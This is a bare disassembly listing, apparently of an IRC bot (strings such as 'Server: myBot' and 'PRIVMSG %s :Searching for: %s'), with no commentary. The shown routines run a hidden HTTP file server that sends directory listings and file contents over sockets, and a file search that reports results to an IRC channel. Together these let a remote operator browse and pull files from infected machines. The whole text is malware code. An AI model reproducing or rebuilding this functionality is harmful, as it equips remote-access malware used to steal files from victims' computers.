loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C ; closesocket
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_427110 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_42710C ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CBA24 ; send
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C ; closesocket
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AC8
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A080 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4270A0 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C78 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C ; closesocket
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_427114 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_427070 ; CloseHandle
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C44
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
call dword_427080 ; Sleep
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C ; closesocket
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C0C
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call dword_427124 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_427120 ; FindNextFileA
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_42711C ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_427118 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AC8
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call dword_427080 ; Sleep
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_427120 ; FindNextFileA
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
call dword_427000 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4270F8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call dword_427114 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_427128 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
call dword_427070 ; CloseHandle
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944 ; WSAStartup
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
